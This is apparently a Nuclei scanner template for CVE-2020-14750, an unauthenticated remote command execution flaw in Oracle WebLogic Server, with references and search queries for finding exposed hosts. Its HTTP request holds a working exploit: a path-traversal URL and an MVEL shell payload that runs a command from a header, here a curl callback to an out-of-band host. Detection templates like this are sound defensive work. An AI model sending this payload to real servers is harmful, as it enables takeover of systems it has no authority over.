Oracle WebLogic Server - Remote Command Execution

id: CVE-2020-14750

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://github.com/pprietosanchez/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14750
    epss-score: 0.99247
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.html:"Weblogic Application Server"
      - http.title:"weblogic"
      - http.html:"weblogic application server"
    fofa-query:
      - title="weblogic"
      - body="weblogic application server"
    google-query: intitle:"weblogic"
  tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        cmd: curl {{interactsh-url}}
        Content-Type: application/x-www-form-urlencoded

        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
        java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(adapter);
        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        String cmd = req.getHeader("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        if (cmd != null) {
            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
            res.getServletOutputStream().flush();
            res.getWriter().write("");
        }executeThread.interrupt();
        ");

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION="

      - type: regex
        part: body
        regex:
          - '<html><head></head><body>(.*)</body></html>'